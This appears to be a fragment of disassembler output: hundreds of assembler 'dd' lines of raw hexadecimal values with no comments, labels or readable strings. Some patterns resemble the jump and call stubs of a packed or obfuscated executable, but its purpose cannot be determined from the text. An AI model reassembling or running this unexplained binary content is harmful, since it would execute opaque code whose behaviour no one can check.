		dd 0D19C19F3h, 5270BDCFh, 0A4E713h, 8140A6C6h, 0FF9F6CFFh
		dd 20850FFFh, 0F000000h, 0B87h,	5810F00h, 0B8000000h, 59C6D8DFh
		dd 1BE9h, 0BF95300h, 14E851A1h,	666FEE2Bh, 0E934CCBAh
		dd 0FFFFFF52h, 0E529954Eh, 271A1949h, 337B08EBh, 1216h
		dd 0D1E90000h, 6800000Ah, 5EA689Eh, 0FADD83E9h,	698468FFh
		dd 79E905EAh, 68FFFADDh, 5EA6B3Ah, 0FADD6FE9h, 6C0F68FFh
		dd 65E905EAh, 68FFFADDh, 5EA6D74h, 0FADD5BE9h, 6F3F68FFh
		dd 51E905EAh, 68FFFADDh, 5EA7048h, 0FADD47E9h, 28ED80FFh
		dd 6B4EDC43h, 0A98E1F8Eh, 0E8C95DC0h, 290C9C03h, 72B53640h
		dd 0B332FFE2h, 0F0773C19h, 30B77C61h, 7EF5BEA3h, 7A818716h
		dd 2946C929h, 5A7FEC5Eh, 0E52BBA0Ah, 22CCC31Dh,	5303A953h
		dd 0DAAF5AA7h, 0E476390Dh, 0EB6A0EFDh, 97035176h, 850287F2h
		dd 119A1E20h, 0FACA297Dh, 0A74166FBh, 5099DEEFh, 0E95CD2A7h
		dd 564BDADBh, 5A30E7C2h, 0DABB119Bh, 0C9276F3Eh, 6695AA9Ch
		dd 0CFD7FB39h, 2052h, 0AFFF7B00h, 0B0697848h, 65D2A73Fh
		dd 0B3553892h, 11C9273Fh, 0B69918D7h, 0D7CFD84Eh, 0C8h
		dd 5A7FEC80h, 8A9F0DF0h, 9A5B371Ah, 0B5E1952Bh,	0BED37747h
		dd 0B29701E0h, 30A164F6h, 6713430Fh, 0F2099007h, 0B43DFF75h
		dd 0E6690227h, 0CCC330FCh, 7A371889h, 637156CBh, 25EDD442h
		dd 9406D450h, 0FC8D23C0h, 0D2A7290Fh, 0DEBE7BCAh, 57013D2Ah
		dd 271BC646h, 3AAE01C9h, 16920419h, 0F5CB287Ch,	0B94366F4h
		dd 0C9819E9h, 0CFD64F29h, 1ED74D63h, 0F94919AFh, 0C11028E8h
		dd 9C18EFCCh, 0C9A28715h, 1BE3C656h, 0DB205C9Dh, 979121ABh
		dd 72000008h, 8E31FA1Fh, 0C97C351Ch, 0FBE7B5Ch,	4EF1BA9Fh
		dd 643EFBDEh, 89AC3C83h, 0CEEB7DE0h, 0E33A225h,	4871E265h
		dd 516030A3h, 0C92975B3h, 0EC085F74h, 2DD0597Ch, 471E9BBCh
		dd 0EB78AFFFh, 8A4061F6h, 3E9E742Bh, 0C31D69AFh, 68DFAECCh
		dd 5A5B2BB9h, 9001EBCEh, 0D2A73F6Bh, 29F9CFBEh,	273F7898h
		dd 0F8C8BFC9h, 273F2BE9h, 9F19ECC9h, 3FBC583Dh,	2C1EC927h
		dd 4EBBE417h, 0ABD0CFD8h, 0F9000000h, 0F05A7FECh, 0D0BA9F0Dh
		dd 0C322053Dh, 3BE370CCh, 0CB08C5C4h, 1902033h,	0CCC35203h
		dd 0E98271C4h, 16FCE576h, 0FDD33084h, 0A7703FECh, 6E0BFAD2h
		dd 0C94F5E2Eh, 0EC92770h, 51391E8Fh, 0B4BB2D9Ch, 7653F86Ch
		dd 7646DC58h, 0BCB2C391h, 4BD74DE1h, 57C5E4F4h,	9606B972h
		dd 0E277CBB3h, 0CB8DDB1Fh, 7B1B7h, 0D0056800h, 1336A45Bh
		dd 5176E766h, 90B125D8h, 0D1F4641Bh, 5A9D4E58h,	9B0AE7CAh
		dd 0D84F2401h, 188F6449h, 56CDA68Bh, 74A96F7Eh,	416EC929h
		dd 597CEC76h, 0D4FD6A0Bh, 0B724DB50h, 7F7AB957h, 0F0A756A2h
		dd 7FECAC3Bh, 9C0DF05Ah, 85CFEBBh, 9105D5EBh, 1CBE517Eh
		dd 7C159762h, 0D2A7383Fh, 0DE4F0BFAh, 188F644Dh, 2001968Bh
		dd 7ED48B6Ah, 0ED465E9Fh, 162D1D51h, 6C391286h,	933DA6F7h
		dd 37FB68E9h, 61C366A6h, 1FCEA14Eh, 697E1392h, 7A7ED4FDh
		dd 0DA4DED83h, 0B968DF82h, 0CA4A5B2Bh, 0D4E616Ah, 4663FBBAh
		dd 0ED4F298Ch, 888819E9h, 4F4E616Ah, 60A53CF8h,	0AF4E616Ah
		dd 28B9EC43h, 66FB6A07h, 6AF311A0h, 41344E61h, 0BC553892h
		dd 0E14E616Ah, 9E6EEE45h, 9E95090Fh, 0BD7FCEB1h, 0E982A734h
		dd 0B19006A7h, 119014D9h, 9D095F80h, 734BB4C9h,	2BB9785Fh
		dd 46C86206h, 0B2C39176h, 0AFFA75FDh, 5AFCB508h, 0C6D7E50Ah
		dd 0AA1E50D5h, 20F55D10h, 0B19E23E7h, 59311480h, 0B22732A4h
		dd 6674DE8Dh, 8E284FE4h, 6247D7D6h, 6C8FA486h, 585F2F43h
		dd 35048h, 84CE7100h, 9828CF9Fh, 0A7475409h, 8A1E81D2h
		dd 0A312E3AFh, 0C5DB7D0Ch, 4E6F4835h, 0A53FF9D8h, 0D2A232D1h
		dd 9E1A3FD3h, 4DBCF207h, 0E7703756h, 33A508C2h,	61500B1Ch
		dd 0E3AF1EAEh, 2EBE5D31h, 46D4AA5Eh, 0AB14655Ah, 0CEFAD8F1h
		dd 0E1F01612h, 4DCD1923h, 0C6A211E4h, 0A48EFD4Fh, 0BF284953h
		dd 0BE143DAAh, 0F34208FFh, 55B2A09h, 59D2F764h,	6A0C35A6h
		dd 56390120h, 0FB0CA436h, 0D6000005h, 12951EBBh, 2DD05980h
		dd 93129FB8h, 0D255DEFBh, 0F8921F42h, 2D1080E7h, 7257C144h
		dd 0B29706B9h, 0ECD546F9h, 0B5C48C07h, 0C9297657h, 0FFB40390h
		dd 697848AFh, 0D2A72E08h, 0F7DA4ACDh, 46DB4A00h, 0F5FFA961h
		dd 0AB481C7Eh, 3E278415h, 0D6E2D743h, 0F690585Eh, 753EED50h
		dd 0C2425323h, 5CCC328h, 0DA4FF6B2h, 121DD830h,	69086953h
		dd 0AF6BDAFFh, 0E7746DFEh, 3CBD13C2h, 4DEF89ACh, 72350A70h
		dd 3833F8E1h, 0D5BC4817h, 244B4h, 7D0CDC00h, 0CCC3389Fh
		dd 0AA03E558h, 7848AFFFh, 2ECAEF79h, 848A6776h,	6D0CD2ADh
		dd 765DDFF8h, 20B03187h, 63F1743Dh, 70C0947Eh, 297AA361h
		dd 179164C9h, 297A9B7Eh, 0AE9300C9h, 0CD188C8h,	0A43C9EE1h
		dd 526h, 0AE4B90E3h, 0ED86AB3Fh, 2FC4ED7Ah, 6E0B2EB8h
		dd 0AF4469FFh, 3FAD12D3h, 7AEE911Ah, 0BC53D25Fh, 0FE93129Fh
		dd 0F3A150D9h, 297122E2h, 0F9CCE5C9h, 7848AFFFh, 1DFB19A8h
		dd 493CCCC3h, 8627F7AFh, 0DA4B2D14h, 0D2AD8411h, 23E1F0E4h
		dd 0E4C9297Ah, 35E8A211h, 3A1FB3A4h, 452E9D50h,	0A26851C2h
		dd 81496EE3h, 148524B4h, 12966733h, 0BF2C1B28h,	0F5DA119Ah
		dd 96CFD209h, 181h, 5A7FECC7h, 0BB9C0DF0h, 0EB085CFEh
		dd 34E3C4D5h, 9226D2A7h, 19D1A55Fh, 2BE75684h, 27F9AE6Ah
		dd 53A0CC9h, 0D788C9F6h, 4BC2CFh, 0FFEB0000h, 0A87848AFh
		dd 0C31DFB19h, 168C3CCCh, 4456483Ah, 5A0AEE5Dh,	0A73ADE4Bh
		dd 24B40BD2h, 82361385h, 0A1030BEDh, 0DC7E3AFBh, 65EA0CF8h
		dd 9C85070Ch, 0EFAB8C1Dh, 11FB6A0Eh, 0B3C9277Bh, 5847BA89h
		dd 75CFD80Bh, 0B1h, 5A7FEC66h, 0D0F56B0Ah, 5BF1BB7Ah, 0BB173AAAh
		dd 9A7059CAh, 0D85176EBh, 0C3220D35h, 0C6EB78CCh, 36D5A92Dh
		dd 0B09507A6h, 0C1911BDAh, 0A9C73CB0h, 495CBD2h, 0C925BF04h
		dd 2FBD6CC3h, 0BFCE4E5Fh, 7309C925h, 0EB3D9AC3h, 7F39E8A7h
		dd 0F6875727h, 0C925F916h, 1B9A1ED1h, 54CBA085h, 0FD0724C4h
		dd 81FB3489h, 0D2F654D2h, 4A0CD53Bh, 3C136h, 20F59800h
		dd 6346D44Bh, 0A1861796h, 0E0C155C8h, 2104940Bh, 4AAD3E48h
		dd 8B3AF7DAh, 0C87F3411h, 8BF7459h, 46FDB69Bh, 70997F0Eh
		dd 315EC929h, 597CEC66h, 9BBC2DD0h, 1633A4C5h, 0BC3FF9BCh
		dd 2BBC3D21h, 0E92FBE0Eh, 2ECCC31Dh, 0C754DD5Fh, 0E47528E2h
		dd 5ECCEDC3h, 3F2D74Bh
		dd 0F6A2F279h, 0DDE9658h, 30A24692h, 9829BF5Ch,	0D2A727D7h
		dd 0D7875322h, 1181FB23h, 27BB8080h, 0C4F047C9h, 6305D90Eh
		dd 27DC14F2h, 0A291D9C9h, 7147A4F8h, 43880F60h,	6E0BFAD7h
		dd 6A7FECD7h, 5167D6FBh, 1D9FC250h, 955DCEBFh, 0C31D0404h
		dd 0BD6CC3CCh, 38198E2Fh, 0C999FF7Ch, 1DA86879h, 986FCCC3h
		dd 0C31D0B09h, 0BF79CCCCh, 22B25125h, 0A7342A93h, 0BF28EFD2h
		dd 8E7D309Ah, 0BB751C4h, 0D315C927h, 56B29D1Ch,	52DBCFD8h
		dd 75000000h, 0CE8EC81h, 4933DFB4h, 48AFFFE0h, 3FB06978h
		dd 5765D2A7h, 50618AB3h, 0C9277AB0h, 4E148077h,	4533A5AAh
		dd 8FE1BB60h, 7F5F3BEAh, 0AE7B8E8Bh, 8F1D44B6h,	5E0DE0AAh
		dd 0A2684DDFh, 5CB829D3h, 0FEC9270Bh, 1B04F74Ch, 0B0CFD85Bh
		dd 0C9h, 6A7FEC19h, 4D72E7FAh, 9241349Eh, 0F2D74538h, 0A535B418h
		dd 8567D6BCh, 0A9A8F1Ch, 41607027h, 0A10BEDD2h,	0A14A6FFCh
		dd 0C322342Eh, 0EFD041CCh, 694CD8D9h, 0A328CCA1h, 4E5BCCEDh
		dd 5C11F9D8h, 198A0BEDh, 7B7A5A30h, 0E7F6C6E3h,	0CCC31921h
		dd 0FF9517E6h, 697848AFh, 0D2A733F8h, 2DA14A3Dh, 9B2ABA59h
		dd 0D74DD823h, 0A1801697h, 0BB09FCC7h, 3187AA3Ah, 7A3E23B0h
		dd 1ADE4EF1h, 0C1AA858Bh, 3CF342CCh, 1FB32E7Ah,	0FE9244DBh
		dd 1F6h, 9E1BC0D3h, 0DD567BEFh,	1F94BD2Ah, 5EDBFE68h, 9F1439AFh
		dd 0F9DE203h, 4ADE412Ah, 8C03826Fh, 0CE43C2AFh,	0C39100E9h
		dd 297252B2h, 0A9FC95C9h, 0D0597CECh, 1E9BBC2Dh, 5C6D3D47h
		dd 0CCC31DBCh, 72E0847Bh, 1FEFFD22h, 4C28099Eh,	0A73F2CD5h
		dd 4C06F9D2h, 0D5FA6908h, 3F46C253h, 0AA23C927h, 0D040C58Dh
		dd 0BB9E0EEDh, 241B25DFh, 0CDB91551h, 0E900FDE0h, 1822C683h
		dd 18E7C82Bh, 0DF9CFD8h, 0C10ADDEAh, 0B4E2AE1h,	0D1h, 5A7FECBCh
		dd 7F9F0DF0h, 0B3213510h, 792D1A8Eh, 0EBA78216h, 0D4E45B0Ah
		dd 0BB2C45D5h, 0EF4D2F9Eh, 0C33B342Eh, 0EFD041CCh, 290E8302h
		dd 38DFAF61h, 2AA819A8h, 9A6DD2A7h, 2532ABCAh, 7A3B97B0h
		dd 8A6ECF8Bh, 0DA398D01h, 0C4E4FB8Ah, 5225D74Dh, 9A33B202h
		dd 0F081D5BDh, 0CCC1BF10h, 0F7B160D7h, 3EFBDE4Eh, 19FF8E5Eh
		dd 0DECCC1BFh, 94048D6Fh, 0C7ABF5B1h, 1FB9DB1Fh, 0ED83h
		dd 0CC9A400h, 4F72E067h, 8DAA23A2h, 0CCF561E4h,	0D30A027h
		dd 96D90A64h, 0D7562306h, 148B6045h, 54CBA085h,	9A09E2C7h
		dd 6D65AB3Ah, 0DA2C929h, 597CECBAh, 0DBB29F0Bh,	0E431DF72h
		dd 7E15075h, 5F801194h,	6BE382D2h, 1C9E87Eh, 0AC3EFDACh
		dd 8C68CD85h, 6A7FEC2Dh, 887DD5FCh, 95443B1Eh, 0F131A6C7h
		dd 0C31D20E0h, 0A110E7CCh, 916175C7h, 0C31D0000h, 0B470C7CCh
		dd 0FEBB9C0Dh, 98CEA9Eh, 60B58E62h, 0FDC83456h,	610BFA36h
		dd 6C7CA3F3h, 0ADD1905Dh, 389265D2h, 6F3D445h, 0E8E81287h
		dd 77740232h, 7FED31AAh, 0FFE20C5h, 0E823F258h,	0B7E15591h
		dd 1889FC73h, 56CB7A37h, 72E49971h, 20B10157h, 0DED593E0h
		dd 6D45027h, 58321787h,	971633A5h, 9574DE03h, 139F9E55h
		dd 0BE531A29h, 0FC6D1099h, 3637FDBh, 0A000000h,	81EC52FBh
		dd 9A0FFE54h, 0B928DDB5h, 0DD4F3E94h, 0FD9312F8h, 1DB372D8h
		dd 3BD35238h, 64F1B41Eh, 84169743h, 50E3F55Dh, 0B951E089h
		dd 129A6F98h, 8104E9C1h, 0EF627BF1h, 7EE98174h,	175C6C4h
		dd 0E88359C8h, 24048704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 241C895Ch, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 6852242Ch, 4982172h, 8124148Bh, 4C4h, 0FAC28100h
		dd 89015245h, 46685AD3h, 89000025h, 4812424h, 424h, 0EC835D00h
		dd 243C8904h, 7D89DF89h, 34FF5F08h, 0C4835D24h,	2434FF04h
		dd 4C4815Bh, 0E9000000h, 0FFFAD2C4h, 0DE8730A9h, 93B83829h
		dd 0EA715AB8h, 0FFC50305h, 0D39EDDE0h, 2BF54558h, 190FE750h
		dd 33B8361Eh, 0E4E1FA3Ah, 0B9BF5873h, 31FFBE4Fh, 35FA4943h
		dd 98384C43h, 0CD1D800Dh, 4F982179h, 0A812EE6Ah, 0D8064567h
		dd 0D1A24A5Dh, 0C07EA97Ah, 0BEA93D2Dh, 7A38E837h, 0AE11008h
		dd 28197070h, 0E226AF47h, 98779158h, 8A9BD721h,	5FF6A83Dh
		dd 33C3F227h, 0E4B27D65h, 814CDC67h, 93F1BC25h,	45F31E34h
		dd 54588B1Ch, 4D8D8D66h, 6605EA73h, 89E58AB8h, 0E410958Dh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 5A4D421Ch, 1E336F8Ah, 2C6585C7h,	5C4C05E4h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD8973C3h, 5E40779h, 30FD85C7h, 5E4h, 950B0000h
		dd 5E41A99h, 2031B5FFh,	6A05E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0CE8111C3h, 1074CCB1h
		dd 2A6195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0A7D9F3C3h, 8E835h, 91110000h, 0D39C13C1h
		dd 8B579EF7h, 0E41975BDh, 6A5B5A05h, 0C195FF00h, 8B05E410h
		dd 3C1EEBC0h, 0F39310C1h, 5E4074A9h, 0F1E4351Eh, 0A0EA385Bh
		dd 0EF58E0Ah, 1EAAA738h, 6F6E89A9h, 9E897h, 0B39A0000h
		dd 0F7A934A9h, 81B6D0A4h, 0FB9DFC6h, 0F605F2Bh,	88h, 899D8900h
		dd 6105E425h, 68BAC781h, 0BD890000h, 5E42A01h, 19FBB9h
		dd 10E900h, 2CA90000h, 2D593BECh, 1ADF0E52h, 0C7587ADh
		dd 78B0D65h, 0EE9h, 968FF300h, 59865575h, 0C3E4CF82h, 817CB9B5h
		dd 0E526CBF0h, 0F081F801h, 19720AB0h, 0AF17BA66h, 0F2BBC081h
		dd 8D090A7Bh, 5E40009h,	8D890789h, 5E40149h, 0E904EF83h
		dd 0Fh,	46E6BF9Eh, 0D8532E8Dh, 81CA6770h, 831D376Eh, 850F01E9h
		dd 1Ah,	2DE9D88Ah, 0CE000000h, 85EE6119h, 2D1C8ED3h, 0D9EC8F7h
		dd 175899C5h, 95015563h, 5E42AC9h, 0FFFF81E9h, 18A43FFFh
		dd 220FD621h, 53D1D8DAh, 0D3827505h, 75008D8Dh,	6A05EAh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0AF332EC3h, 893B745Ah, 0E410958Dh, 6585C705h, 6005E42Ch
		dd 6A00005Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7830C355h, 0D00504C0h,	0FD85C761h
		dd 5E430h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 24E0C355h, 5DB5FF28h, 6A05E400h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0D623C352h, 8B660D89h, 6195FFC7h,	0F05E42Ah
		dd 6AD8BFh, 10C195FFh, 0C08B05E4h, 3C36AEBh, 0C8F3843Ch
		dd 3311758Ah, 0EE73B898h, 7763D9E7h, 3AE1C61h, 0B911DBF9h
		dd 0B0635D0h, 0D42A0A74h, 9561CE16h, 0A0AF9972h, 84649459h
		dd 890ACD5Bh, 3A4A3C09h, 0AC96643Eh, 85422482h,	0D8033FFFh
		dd 0FB393D80h, 0B3C05DA2h, 89AE426Fh, 92327535h, 46F76BB4h
		dd 4C80C1CCh, 45969FA9h, 2C5EDEE2h, 736CCEBBh, 0ABDDCCE2h
		dd 8EBh, 87990000h, 67E93524h, 68000004h, 5EA7674h, 0FA083DE9h
		dd 76DB68FFh, 33E905EAh, 68FFFA08h, 5EA782Eh, 0FA0829E9h
		dd 0F168EBFFh, 38434EEh, 54D3869Ch, 0EC67E931h,	5BC31E9h
		dd 7F2A9582h, 0C65C43FEh, 2CF69916h, 70AA2DAEh,	0A65D40FBh
		dd 5A9C9EE7h, 621854EFh, 4BC67735h
		dd 0ED6CEB71h, 0A4269FEAh, 107B9CE1h, 0AAFB54E9h, 0E90FD755h
		dd 0B1E25554h, 0EADBBA1Bh, 54E91088h, 196633E4h, 54E91017h
		dd 61A8E8B2h, 33F8F322h, 2EB4Bh, 5E488200h, 9679FBB4h
		dd 0DF6CDB37h, 37D7BCFEh, 9B5C155Ah, 17D854E9h,	68EF6AB0h
		dd 8B0CCA50h, 0DC23FD56h, 524EEDD3h, 6E31B36Ch,	0D421A38Fh
		dd 0B90A1AA3h, 5B7697DCh, 5F64D6Ah, 17905842h, 0CD4C0Bh
		dd 22A01D48h, 84B00263h, 0CB0C524Eh, 0DE591E04h, 5CF463BFh
		dd 0B5B7889Dh, 37478641h, 0A3993C4h, 273690D9h,	0D37929A2h
		dd 2D412h, 0D9500300h, 6BEC6CB6h, 0BC3BBE64h, 0D44F0119h
		dd 6DE469B1h, 9702BD6Ah, 0FE24AB26h, 44DEC17Eh,	0A8721596h
		dd 9E25A823h, 5C74F6CFh, 8AF054EFh, 63D6CCDDh, 97402BE4h
		dd 5C4DB215h, 3854EF5Bh, 4B0A10F7h, 0E4F477E5h,	8F9B3A6Fh
		dd 968C53CEh, 0EFEDA621h, 0EF5AF578h, 0F36AE154h, 0DF912CAh
		dd 4223A928h, 26Dh, 2DB02BACh, 0C3C245F5h, 70179247h, 28AF28AAh
		dd 0C1C443F2h, 0BD306954h, 0D7878302h, 6FED3558h, 0BA31E9ECh
		dd 0A6E59C03h, 0EF5BDB59h, 74235954h, 12106DCCh, 924F04E6h
		dd 4805F4A1h, 5D1F0BCAh, 0A9966922h, 54EF5B38h,	0EE349B5Ch
		dd 0D62FEE69h, 54EF5B54h, 26B21FD0h, 75F463BFh,	5AD55B98h
		dd 0BF3F54EFh, 2092A800h, 227815A7h, 0C7A336FEh, 423112DBh
		dd 995A33FFh, 0B000001h, 8B21581Fh, 77DEFF58h, 0E97349C0h
		dd 0FE24EB62h, 79EAFE79h, 0C1BE099Ch, 5EA39C43h, 8654E8FCh
		dd 445E0755h, 3CBB3A94h, 3F210ECBh, 0C554E8FCh,	24C69215h
		dd 0C3A735B6h, 14D83979h, 0B713A69Bh, 0E2C1824Bh, 292A33F8h
		dd 6D000000h, 2AED6FD8h, 0E90860D5h, 0D82B0754h, 8A5E6A65h
		dd 45B6309Dh, 766EF077h, 1D954E9h, 597BC801h, 0BCEC33F9h
		dd 2B000000h, 12106DCCh, 924F04E6h, 2DAAF4A1h, 490C1EAAh
		dd 0EB60FACEh, 15C25870h, 76ACF392h, 0C17246C1h, 0D9B235A5h
		dd 4EA7498h, 0B02BA04Fh, 2CA85EDh, 5D89021Ch, 2D9AEDF0h
		dd 1109E8AFh, 5B88205Bh, 2007B1FEh, 0AA6D54ECh,	833EBFEBh
		dd 0C157061Ch, 98560AF0h, 0D99ED3EAh, 1C3D16E9h, 1AA70ECAh
		dd 59000001h, 0A2781F96h, 0F42EB136h, 47C3C245h, 0AF7B1A95h
		dd 0FB2CB32Eh, 0F168EDBCh, 78034EEh, 5BDC9A80h,	0EE69EE34h
		dd 0C7150EFh, 54EF5E2Eh, 77A3F88Eh, 9E844BC6h, 74F6CFDAh
		dd 0F04F04E6h, 7E01CA3Fh, 11B437A4h, 9092D3B2h,	0EC4F04E6h
		dd 191B642Bh, 9B4F04E6h, 77DEFF58h, 0E97349C0h,	0FE24EB62h
		dd 79EAFE79h, 40AA099Ch, 18C1357Bh, 1FDAB7A7h, 1C6124A6h
		dd 54E9E54Ah, 398B40AAh, 92C738B3h, 81366C33h, 0E55BD906h
		dd 16D954E9h, 1F0BEABDh, 568DDF5Ah, 37DC91FDh, 0D0E86FEBh
		dd 0E5402263h, 7BBC54E9h, 0B8BE8706h, 5C54E9E4h, 61B91C9Fh
		dd 0EC6775ECh, 0D7869C23h, 5AA10058h, 0F4000000h, 2AED6FD8h
		dd 0EF5BC8D5h, 2C6AA454h, 0CC289E7Dh, 0E07A4E83h, 9813D96Bh
		dd 7DFA20A7h, 9E79EEFAh, 0B285BE2Eh, 0C940F713h, 0BF5E420Ch
		dd 41E8138h, 0DD84D457h, 9C23017Eh, 4E818429h, 5CD79985h
		dd 0F52DBC0Ch, 430FC843h, 0BE39BE5Fh, 0D554031Fh, 33E87h
		dd 6690000h, 4DC47751h,	0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh
		dd 0D7520319h, 7BF66785h, 9E19DB61h, 3EB930CAh,	5FD890AAh
		dd 1468B30Dh, 8900004Ah, 3F682404h, 89000047h, 89522414h
		dd 4C281E2h, 83000000h,	148704EAh, 4895C24h, 9C685124h
		dd 5905EA75h, 8359CA89h, 248904ECh, 24048324h, 52515804h
		dd 0DE240481h, 5905CA5Bh, 5BDEE981h, 488905CAh,	34FF5908h
		dd 0C4815824h, 4, 5124148Bh, 0C181E189h, 4, 8704C183h
		dd 0E95C240Ch, 0FFFA03EAh, 76A0668Fh, 0D58080E5h, 6DB884B4h
		dd 305EA79h, 4E0FFC5h, 0EC33A940h, 33130D29h, 539654Eh
		dd 157E72F7h, 6D40973Dh, 6F225735h, 0DC594F0Fh,	763F20FAh
		dd 0F958583Bh, 107F8122h, 3B6D2E94h, 0FD7E8052h, 3D194FF7h
		dd 94322A2Dh, 0B83A4644h, 0AF1089CDh, 893648CEh, 24777B6Fh
		dd 435DAE10h, 0E8631366h, 0Fh, 0AB8FBE26h, 15CD7CA9h, 0A058FC65h
		dd 0F63D328h, 980h, 38F0F00h, 0F000000h, 665FF1B7h, 1017F281h
		dd 7210C781h, 0BF0F0000h, 1C50BBCAh, 78B0000h, 81CABF0Fh
		dd 0BA7FDFE8h, 81666023h, 0E92B59F6h, 10h, 74A41BC4h, 652D2A9Dh
		dd 7ABB0804h, 5149AD3Ch, 0E3E88161h, 0B6298F95h, 53F081D8h
		dd 0E862C451h, 8, 2D3E9505h, 88256831h,	0CE9h, 0F87EBE00h
		dd 0B5BDB240h, 0F3413013h, 7895977h, 1751BEB9h,	0CAEF8174h
		dd 8177D05Ah, 0D05AC6C7h, 0F28B6677h, 26850F4Bh, 0E8000000h
		dd 7, 777E778Ah, 8A79C792h, 1DE95AE8h, 0B4000000h, 0BC24248Ch
		dd 6F6B6C06h, 79E519CAh, 0E01A88B4h, 0FF64E982h, 961EFFFFh
		dd 9DF891F6h, 7BD48D8Dh, 0B50B05EAh, 5E40275h, 31C58503h
		dd 8D8905E4h, 5E41095h,	6678EB81h, 85C76ED1h, 5E42C65h
		dd 598Ch, 2029BD8Bh, 0C7F805E4h, 0E430FD85h, 5,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 261C9981h, 0B5FF3598h, 5E425F5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0C35040h, 7E228B95h, 0A014FF74h
		dd 29B58B14h, 0FF05E408h, 0E42A6195h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 9F726BB1h, 4B727FF9h, 6A6889h, 10C195FFh, 0C08B05E4h
		dd 8E3228EBh, 0A217C12Dh, 1E6D4AA1h, 9EFDE2CAh,	0CACEB128h
		dd 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh, 352129C9h, 2D4A619Dh
		dd 8D8DAF05h, 5EA7CABh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0EAC35747h, 3BF9A3B4h, 8E9h, 91703200h
		dd 0A2121192h, 958D898Eh, 6A05E410h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66BAC355h
		dd 85C7F78Bh, 5E42C65h,	6FCCh, 8E9h, 494A6500h,	67AE5D0h
		dd 0FD85C702h, 5E430h, 89000000h, 0E427C985h, 31B5FF05h
		dd 8B05E420h, 0E427D195h, 19D8B05h, 0FF05E408h,	0E42A6195h
		dd 699D0305h, 8B05E41Ch, 0E42249BDh, 0FF006A05h, 0E410C195h
		dd 0EBC08B05h, 0AC0D8F1Eh, 7F58F1A3h, 54737E5Bh, 250B5D6Fh
		dd 0C4912AC9h, 91EA6BC9h, 0CFFB8404h, 0E895FE47h, 11h
		dd 4E1C018Ah, 0FF59CD98h, 0F4691AA3h, 45390FD3h, 0D4F3815Bh
		dd 5F64F86Ah, 0AE9h, 19323200h,	0C160183Dh, 8178CACCh
		dd 75E7C7h, 0EE800h, 0F7D60000h, 40FC2DCBh, 0E8EA3096h
		dd 9F5C9807h, 0D85BD01h, 685805E4h, 1D41h, 0D96946B8h
		dd 9D895A11h, 5E4325Dh,	0F1810F8Bh, 7D0403CBh, 0D4D9501h
		dd 0C18105E4h, 0BB7813Bh, 0DBD8960h, 8B05E408h,	0E98161F8h
		dd 5FF9242Eh, 1A8E0Fh, 12E80000h, 84000000h, 735A8C82h
		dd 200C3AF0h, 1FDCA64Ah, 0E58F1852h, 58C18B5Fh,	61858B51h
		dd 8F05E404h, 83C18A07h, 8E903EFh, 0D7000000h, 0E1BA11CAh
		dd 4FF9119Bh, 2581858Bh, 0F4A05E4h, 1285h, 0F0B70F00h
		dd 1AE9h, 0CF310A00h, 0F78A321Dh, 8B08554Fh, 0E4150585h
		dd 0FF76E905h, 0B824FFFFh, 0E831B65Fh, 6, 0E24048D2h, 14E8194Bh
		dd 94000000h, 63A8272h
		dd 0DE17EDC2h, 6CDD3F79h, 1B4EB1A8h, 60DFBE76h,	425958Bh
		dd 5B6105E4h, 2DB9665Fh, 9AC781EEh, 60000067h, 0D8B70F60h
		dd 850Fh, 0F610000h, 2B61C7B7h,	0E18166F6h, 48BA78Bh, 0C9BF0F37h
		dd 0E3CEE881h, 335761CAh, 0E402519Dh, 0F0815905h, 22330CEFh
		dd 13B58589h, 0F08105E4h, 778902A4h, 81CFBA66h,	0D1B70F50h
		dd 6637048Fh, 29BE51B9h, 0E411B18Dh, 4EE8305h, 6800Fh
		dd 9D330000h, 5E42AA5h,	9908FE81h, 850FFFFFh, 0FFFFFFAAh
		dd 96D8D31h, 8D8D05E4h,	5EA7F0Eh, 5330E281h, 8D894025h
		dd 5E41095h, 1F8DB501h,	85C705E4h, 5E42C65h, 5AE4h, 4D9B503h
		dd 0C68105E4h, 258F3E38h, 30FD85C7h, 5E4h, 890F0000h, 1
		dd 0D68166F5h, 0B5FFD194h, 5E402D9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0ACC35343h,	8D298496h, 5E42CB9h
		dd 0FFD2B70Fh, 0E42A6195h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 27693FE5h
		dd 3DF44354h, 0FDBD3151h, 5805E400h, 95FF006Ah,	5E410C1h
		dd 19EBC08Bh, 4F0898A3h, 196F503Ch, 52B355D0h, 0FE6A644h
		dd 259342B2h, 0A5C28E41h, 9004EB4Ch, 0E9442445h, 560h
		dd 71148F40h, 27A621A9h, 0D4FB7EFBh, 8C138C4Eh,	25A82796h
		dd 61D4C5F0h, 0BB3BE7E6h, 0CB81993Ch, 66D54D50h, 0A59E0E7h
		dd 0EF653735h, 6EF7B554h, 0D5DA0804h, 0EFE48AE8h, 0ED29EA54h
		dd 3097B538h, 0EFCE6DCFh, 430CCF54h, 30E6CC0Ah,	1B51B296h
